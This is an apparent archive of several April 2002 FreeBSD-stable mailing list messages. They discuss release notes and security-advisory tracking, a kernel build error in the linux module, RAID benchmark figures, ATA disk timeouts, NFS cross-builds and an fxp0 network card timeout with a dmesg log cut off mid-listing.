--dDRMvlgZJXvWKvBx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Bruce A. Mah(bmah@FreeBSD.ORG)@2002.04.24 06:04:54 +0000: > If memory serves me right, "Karsten W. Rohrbach" wrote: >=20 > > How about a Changelog? NOTES (HEAD) and UPDATING in /usr/src are one > > way, but a semi-automatic way of making changes transparent to the > > administrator would be a good start, i think. >=20 > How is this different from the release notes? i have never seen some bits from the relnotes display while making installword or executing mergemaster. the main idea here is to provide the important aspects of release notes to people that just read how to update (makeworld/mergemaster standard invocations) and start wondering about things having changed, going to the mailing list and getting the info from other users on how to find release notes for an uninstalled base dist and being told to read the UPDATING. with proper automation this would make things easier and produce less trouble for the non-gurus. > src/release/doc/* > http://people.freebsd.org/~bmah/relnotes/ i know, bruce, but that was not my point. generation of the docs requires the doctools me[tg]aport, which is not installed on every firewall and smaller server due to obvious reasons ;-) you know how to make the docs, i know how to generate them, but does a newbie who just got the cd set and upgrades the system know it?=20 > > - most important, a list of _resolved_ SAs that are in the current dist. > > in fact, i recognize this as a major point, judging from several > > threads on -hackers and -security of the last weeks. finding out what > > "patch level" you are on an arbitrary box would be "more > > /etc/Changelog" and there you go. mergemaster would display the diff > > between old and new version right when it starts, so the admin > > instantly gets an overview of what major things have changed >=20 > This information is in UPDATING. I suppose one could make a credible root@WM:datasink[/usr/src]3# grep SA UPDATING=20 - MSA port (587) turned on by default root@WM:datasink[/usr/src]4# grep '$FreeBSD:' UPDATING=20 $FreeBSD: src/UPDATING,v 1.73.2.62 2002/04/21 22:33:06 dougb Exp $ no, the information is not in updating. my /usr/src is *default release=3Dcvs tag=3DRELENG_4 as of today, synced from cvsup7.de.freebsd.org which is two hours behind cvsup-master. i checked the logs, it is sync. > argument that it should be in the release notes for the security > branches (e.g. RELENG_4_5), but that's not the way we do things > currently. i know, that's why i brought up this issue for discussion. errh, btw: root@WM:datasink[/usr/src]5# grep '$FreeBSD:' README =20 $FreeBSD: src/README,v 1.15.2.3 2000/10/27 16:14:34 asmodai Exp $ the readme tells about synching, kernel config, what the subdirectories contain, and that's about it. it would make sense to lead a newbie to either the online docs or to an already generated ascii version of the relnotes of the release he's actually going to install. just a thought. i know, there's a chicken-and-egg problem in here, and i can't come up with an automated solution for it, since i am not the keeper of the docs. do you generate your relnotes web page automatically? could you somehow check the release notes into the corresponding branches on an automated basis? it would be really a Good Thing[tm] to have http://people.freebsd.org/~bmah/relnotes/4.5-RELEASE/relnotes-i386.txt in /usr/src/RELNOTES for 4.5 based systems, for example, because - it is available locally - it is already compiled to ascii - /usr/src/RELNOTES is a very prominent spot which can be found even by someone totally new to freebsd regards, /k --=20 > Fools ignore complexity. Pragmatists suffer it. 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with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 6:40:21 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail2.itxmarket.com (fw.itxmarket.com [213.11.40.109]) by hub.freebsd.org (Postfix) with ESMTP id 342D537B41C for ; Thu, 25 Apr 2002 06:40:11 -0700 (PDT) Received: from mich.itxmarket.com (mich.itxmarket.com [192.168.2.27]) by mail2.itxmarket.com (Postfix) with ESMTP id 12A6637C90 for ; Thu, 25 Apr 2002 15:39:26 +0200 (CEST) Received: by mich.itxmarket.com (Postfix, from userid 1001) id 6B437139E2B; Thu, 25 Apr 2002 15:40:03 +0200 (CEST) Date: Thu, 25 Apr 2002 15:40:03 +0200 From: Michael Hostbaek To: stable@FreeBSD.org Subject: kernel build on 4.5-STABLE - break Message-ID: <20020425134003.GA647@mich.itxmarket.com> Mail-Followup-To: Michael Hostbaek , stable@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: FreeBSD 4.5-STABLE i386 X-PGP-Key: http://www.freebsdcluster.org/~mich/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I have patched my one of my FreeBSD boxes, against the follwing sploits: FreeBSD-SA-02:18.zlib.v1.2 FreeBSD-SA-02:21.tcpip FreeBSD-SA-02:23.stdio (I have patched after the instructions) But when rebuilding the kernel (without conf changes) - I get the following error(s): c linux_sysent.c In file included from linux_sysent.c:14: linux_proto.h:57: syntax error before `linux_time_t' linux_proto.h:57: `linux_time_t' undeclared here (not in a function) linux_proto.h:57: syntax error before `)' linux_proto.h:57: `linux_time_t' undeclared here (not in a function) linux_proto.h:57: syntax error before `)' linux_proto.h:156: syntax error before `linux_handler_t' linux_proto.h:156: `linux_handler_t' undeclared here (not in a function) linux_proto.h:156: `linux_handler_t' undeclared here (not in a function) linux_proto.h:184: syntax error before `linux_dev_t' linux_proto.h:184: `linux_dev_t' undeclared here (not in a function) linux_proto.h:184: `linux_dev_t' undeclared here (not in a function) linux_proto.h:189: syntax error before `linux_osigaction_t' linux_proto.h:189: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:189: syntax error before `)' linux_proto.h:189: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:189: syntax error before `)' linux_proto.h:190: syntax error before `linux_osigaction_t' linux_proto.h:190: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:190: syntax error before `)' linux_proto.h:190: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:190: syntax error before `)' linux_proto.h:196: syntax error before `linux_osigset_t' linux_proto.h:196: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:196: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:200: syntax error before `linux_osigset_t' linux_proto.h:200: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:200: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:201: syntax error before `linux_osigset_t' linux_proto.h:201: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:201: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:204: syntax error before `linux_osigset_t' linux_proto.h:204: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:204: syntax error before `)' linux_proto.h:204: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:204: syntax error before `)' linux_proto.h:216: syntax error before `linux_gid_t' linux_proto.h:216: `linux_gid_t' undeclared here (not in a function) linux_proto.h:216: syntax error before `)' linux_proto.h:216: `linux_gid_t' undeclared here (not in a function) linux_proto.h:216: syntax error before `)' linux_proto.h:220: syntax error before `linux_gid_t' linux_proto.h:220: `linux_gid_t' undeclared here (not in a function) linux_proto.h:220: syntax error before `)' linux_proto.h:220: `linux_gid_t' undeclared here (not in a function) linux_proto.h:220: syntax error before `)' linux_proto.h:344: syntax error before `linux_osigset_t' linux_proto.h:344: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:344: syntax error before `)' linux_proto.h:344: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:344: syntax error before `)' linux_proto.h:345: syntax error before `linux_osigset_t' linux_proto.h:345: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:345: syntax error before `)' linux_proto.h:345: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:345: syntax error before `)' linux_proto.h:380: syntax error before `linux_uid_t' linux_proto.h:380: `linux_uid_t' undeclared here (not in a function) linux_proto.h:380: `linux_uid_t' undeclared here (not in a function) linux_proto.h:383: syntax error before `linux_gid_t' linux_proto.h:383: `linux_gid_t' undeclared here (not in a function) linux_proto.h:383: `linux_gid_t' undeclared here (not in a function) linux_proto.h:410: syntax error before `linux_pid_t' linux_proto.h:410: `linux_pid_t' undeclared here (not in a function) linux_proto.h:410: `linux_pid_t' undeclared here (not in a function) linux_proto.h:433: syntax error before `linux_uid_t' linux_proto.h:433: `linux_uid_t' undeclared here (not in a function) linux_proto.h:433: syntax error before `)' linux_proto.h:433: `linux_uid_t' undeclared here (not in a function) linux_proto.h:433: syntax error before `)' linux_proto.h:434: syntax error before `linux_uid_t' linux_proto.h:434: `linux_uid_t' undeclared here (not in a function) linux_proto.h:434: syntax error before `)' linux_proto.h:434: `linux_uid_t' undeclared here (not in a function) linux_proto.h:434: syntax error before `)' linux_proto.h:435: syntax error before `linux_uid_t' linux_proto.h:435: `linux_uid_t' undeclared here (not in a function) linux_proto.h:435: syntax error before `)' linux_proto.h:435: `linux_uid_t' undeclared here (not in a function) linux_proto.h:435: syntax error before `)' linux_proto.h:447: syntax error before `linux_gid_t' linux_proto.h:447: `linux_gid_t' undeclared here (not in a function) linux_proto.h:447: syntax error before `)' linux_proto.h:447: `linux_gid_t' undeclared here (not in a function) linux_proto.h:447: syntax error before `)' linux_proto.h:448: syntax error before `linux_gid_t' linux_proto.h:448: `linux_gid_t' undeclared here (not in a function) linux_proto.h:448: syntax error before `)' linux_proto.h:448: `linux_gid_t' undeclared here (not in a function) linux_proto.h:448: syntax error before `)' linux_proto.h:449: syntax error before `linux_gid_t' linux_proto.h:449: `linux_gid_t' undeclared here (not in a function) linux_proto.h:449: syntax error before `)' linux_proto.h:449: `linux_gid_t' undeclared here (not in a function) linux_proto.h:449: syntax error before `)' linux_proto.h:459: syntax error before `linux_sigaction_t' linux_proto.h:459: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:459: syntax error before `)' linux_proto.h:459: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:459: syntax error before `)' linux_proto.h:460: syntax error before `linux_sigaction_t' linux_proto.h:460: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:460: syntax error before `)' linux_proto.h:460: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:460: syntax error before `)' linux_proto.h:465: syntax error before `linux_sigset_t' linux_proto.h:465: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:465: syntax error before `)' linux_proto.h:465: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:465: syntax error before `)' linux_proto.h:466: syntax error before `linux_sigset_t' linux_proto.h:466: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:466: syntax error before `)' linux_proto.h:466: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:466: syntax error before `)' linux_proto.h:479: syntax error before `linux_sigset_t' linux_proto.h:479: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:479: syntax error before `)' linux_proto.h:479: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:479: syntax error before `)' linux_proto.h:510: syntax error before `*' linux_proto.h:510: syntax error before `linux_stack_t' linux_proto.h:510: syntax error before `linux_stack_t' linux_proto.h:511: syntax error before `linux_stack_t' linux_proto.h:511: `linux_stack_t' undeclared here (not in a function) linux_proto.h:511: syntax error before `)' linux_proto.h:511: `linux_stack_t' undeclared here (not in a function) linux_proto.h:511: syntax error before `)' linux_sysent.c:21: sizeof applied to an incomplete type linux_sysent.c:21: warning: built-in function `exit' used without declaration linux_sysent.c:21: warning: cast discards qualifiers from pointer target type *** Error code 1 Stop in /usr/src/sys/modules/linux. *** Error code 1 Stop in /usr/src/sys/modules. *** Error code 1 Stop in /usr/src/sys/compile/ITX-FW2. Sysinfo: FreeBSD fw.XX.com 4.5-STABLE FreeBSD 4.5-STABLE #0: Thu Jan 31 13:38:54 CET 2002 root@fw2.XX.com:/usr/obj/usr/src/sys/ITX-FW2 i386 Any pointers would be greatly appreciated.. -- Best Regards, Michael Landin Hostbaek FreeBSDCluster.org - an International Community */ PGP-key available upon request /* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 6:51:58 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id D4D7837B427; Thu, 25 Apr 2002 06:51:52 -0700 (PDT) Received: from simoeon.sentex.net (pyroxene.sentex.ca [199.212.134.18]) by smtp1.sentex.ca (8.12.3/8.12.3) with ESMTP id g3PDppX6023002; Thu, 25 Apr 2002 09:51:51 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <5.1.0.14.0.20020425094304.04b3c420@marble.sentex.ca> X-Sender: mdtpop@marble.sentex.ca X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 25 Apr 2002 09:45:47 -0400 To: "Greg 'groggy' Lehey" From: Mike Tancsa Subject: Re: new ata code and vinum and 3ware speeds Cc: stable@freebsd.org In-Reply-To: <20020425132747.G33950@wantadilla.lemis.com> References: <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 01:27 PM 4/25/02 +0930, Greg 'groggy' Lehey wrote: >Yes, that's more like what I would expect. It's interesting to note >that the ar doesn't perform as well as Vinum. Yes, I was a little surprised too as I thought the newer cards would have a little more hp in them. I also had a quick test of a 3ware card. Random read Sequential read Random write Sequential write ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec vinum0 3953.4 244 5219.1 319 4646.6 289 5430.8 331 vinum1 2038.6 126 17370.4 1060 2985.2 185 44608.7 2723 ar0s1e 1802.0 112 11960.7 730 2628.6 165 29238.0 1785 da0s1e 2550.5 157 2772.6 169 2424.4 150 2802.9 171 ad10s1e 1248.6 77 2242.6 137 1645.7 102 7207.9 440 twed0e5 2879.3 179 27025.5 1650 1001.1 62 2451.7 150 twed0e0 1717.5 106 41205.9 2515 2613.2 162 41578.2 2538 twed0JD 1177.0 73 2222.4 136 1677.9 103 11175.3 682 The twed0 card is a 7810 with the same segates as before. e5=RAID5,e0=RAID0, JaD=just a Drive. Latest firmware, stable as of few days ago. ---Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 7: 1:15 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id 7556C37B41E for ; Thu, 25 Apr 2002 07:01:06 -0700 (PDT) Received: from simoeon.sentex.net (pyroxene.sentex.ca [199.212.134.18]) by smtp1.sentex.ca (8.12.3/8.12.3) with ESMTP id g3PE11X6028191; Thu, 25 Apr 2002 10:01:02 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <5.1.0.14.0.20020425094721.01c77d00@marble.sentex.ca> X-Sender: mdtpop@marble.sentex.ca X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 25 Apr 2002 09:54:58 -0400 To: stable@freebsd.org From: Mike Tancsa Subject: ata problems with RocketRaid in non raid mode Cc: sos@freebsd.dk Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I was writing about 8Mb/s of data out to one of my drives off a RocketRaid133 when the following popped up and froze the computer solid. Apr 25 09:09:23 backup2 /kernel: ad4: WRITE command timeout tag=0 serv=0 - resetting Apr 25 09:09:23 backup2 /kernel: ata2: resetting devices .. Apr 25 09:09:23 backup2 /kernel: ad4: removed from configuration The controller is set in non RAID mode, so its just a bunch of disks. backup2# atacontrol list ATA channel 0: Master: ad0 ATA/ATAPI rev 5 Slave: no device present ATA channel 1: Master: no device present Slave: no device present ATA channel 2: Master: ad4 ATA/ATAPI rev 6 Slave: no device present ATA channel 3: Master: ad6 ATA/ATAPI rev 6 Slave: no device present backup2# sysctl -a | grep -i ata kern.ipc.max_datalen: 136 hw.ata.ata_dma: 1 hw.ata.wc: 1 hw.ata.tags: 0 backup2# dmesg | grep -i ata atapci0: port 0xb800-0xb80f at device 4.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 atapci1: port 0x9000-0x90ff,0x9400-0x9403,0x9800-0x9807,0xa000-0xa003,0xa400-0xa407 irq 10 at device 14.0 on pci0 ata2: at 0xa400 on atapci1 ata3: at 0x9800 on atapci1 ad0: 19595MB [39813/16/63] at ata0-master UDMA66 ad4: 117246MB [238216/16/63] at ata2-master UDMA133 ad6: 117246MB [238216/16/63] at ata3-master UDMA133 backup2# backup2# atacontrol cap 2 0 ATA channel 2, Master, device ad4: ATA/ATAPI revision 6 device model Maxtor 4G120J6 firmware revision GAK819K0 cylinders 16383 heads 16 sectors/track 63 lba supported 240121728 sectors lba48 supported 240121728 sectors dma supported overlap not supported Feature Support Enable Value Vendor write cache yes yes read ahead yes yes dma queued no no 0/00 SMART yes no microcode download yes yes security yes no power management yes yes advanced power management yes no 0/00 automatic acoustic management yes yes 192/C0 192/C0 Also, how do I disable the power management ? I dont want the silly thing spinning down. ---Mike -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet since 1994 www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 7:24:35 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.gactr.uga.edu (smtpgw.gactr.uga.edu [128.192.37.25]) by hub.freebsd.org (Postfix) with ESMTP id 9E73137B423 for ; Thu, 25 Apr 2002 07:24:30 -0700 (PDT) Received: (qmail 60379 invoked from network); 25 Apr 2002 14:24:29 -0000 Received: from unknown (HELO gactr.uga.edu) ([10.10.100.125]) (envelope-sender ) by smtpgw.servers.nat (qmail-ldap-1.03) with SMTP for ; 25 Apr 2002 14:24:29 -0000 Message-ID: <3CC8119D.FC4AA4FD@gactr.uga.edu> Date: Thu, 25 Apr 2002 10:24:29 -0400 From: Robin Blanchard Organization: Georgia Center Information Technology X-Mailer: Mozilla 4.79 [en] (X11; U; FreeBSD 4.5-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: stable@freebsd.org Subject: NFS world hosting question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Last time I tried this (a year or more ago) this wasn't possible. Wondering if it is yet... given an NFS host whose world is built with CPUTYPE=i686, build an alternate obj MAKEOBJDIRPREFIX=/usr/obj-486 with CPUTYPE=i486 and have that subsequent obj installed via NFS onto a poor-old 486? -- ---------------------------------------- Robin P. Blanchard Systems Design and Support Georgia Center for Continuing Education fon: 706.542.2404 <> fax: 706.542.6546 ---------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 7:52: 1 2002 Delivered-To: freebsd-stable@freebsd.org Received: from ewise.nl (win2ks01.ewise.nl [213.169.199.2]) by hub.freebsd.org (Postfix) with ESMTP id B479037B433 for ; Thu, 25 Apr 2002 07:51:43 -0700 (PDT) Received: from ewise0x (213-84-67-172.adsl.xs4all.nl [213.84.67.172]) by ewise.nl (Vircom SMTPRS 4.3.183) with ESMTP id for ; Thu, 25 Apr 2002 16:51:42 +0200 From: "Dirk van der Zee" To: Subject: fxp0 scb timeout on dell PowerApp 120/1000 Date: Thu, 25 Apr 2002 16:51:41 +0200 Organization: E-WISE B.V. Message-ID: <004e01c1ec68$b644f150$7100a8c0@EWISE.NL> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I recently installed FreeBSD 4.5-release #0 on a new Dell PowerApp (build in March 2002). The problem is that sometimes it looses the network connection. Before the connection is lost I get a number of the following messages in SSH session: Apr 23 19:57:22 sirius /kernel: fxp0: SCB timeout: 0x70 0x0 0x50 0x0 Apr 23 19:57:22 sirius /kernel: fxp0: SCB timeout: 0x70 0x0 0x50 0x0 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x0 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x0 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x400 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x400 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x400 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x0 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x400 Apr 23 19:57:23 sirius /kernel: fxp0: SCB timeout: 0x80 0x0 0x50 0x0 Apr 23 19:57:23 sirius last message repeated 5 times The network card is Intel Pro 10/100B/100+. I have searched the maillists and found a this kind of problem of number of times. But most where solved in August last year and others where SMP related (which is n/a for this server). Below is the dmesg log. Does anyone know how to solve this problem? I would greatly appreciate any suggestions. Dirk van der Zee ` Copyright (c) 1992-2002 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 GMT 2002 murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (993.33-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x68a Stepping = 10 Features=0x387fbff real memory = 536805376 (524224K bytes) config> di pcic0 config> q avail memory = 517619712 (505488K bytes) Preloaded elf kernel "kernel" at 0xc0496000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc049609c. Pentium Pro MTRR support enabled md0: Malloc disk Using $PIR table, 6 entries at 0xc00fc730 npx0: on motherboard npx0: INT 16 interface pcib1: on motherboard pci1: on pcib1 pcib3: at device 4.0 on pci1 pci2: on pcib3 pcib5: at device 0.0 on pci2 pci3: on pcib5 amr0: mem 0xf8000000-0xfbffffff irq 5 at device 0.0 on pci3 amr0: Firmware 161J, BIOS 3.17, 64MB RAM pci2: (vendor=0x1077, dev=0x1216) at 1.0 irq 7 pcib0: on motherboard pci0: on pcib0 fxp0: port 0xecc0-0xecff mem 0xfe100000-0xfe1fffff,0xfe2ff000-0xfe2fffff irq 11 at device 1.0 on pci0 fxp0: Ethernet address 00:06:5b:3d:17:de inphy0: on miibus0 inphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto fxp1: port 0xec80-0xecbf mem 0xfe000000-0xfe0fffff,0xfe2fe000-0xfe2fefff irq 10 at device 2.0 on pci0 fxp1: Ethernet address 00:06:5b:3d:17:df inphy1: on miibus1 inphy1: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto pci0: at 3.0 isab0: at device 15.0 on pci0 isa0: on isab0 atapci0: port 0x8b0-0x8bf at device 15.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 pcib2: on motherboard pci4: on pcib2 pcib4: on motherboard pci5: on pcib4 orm0: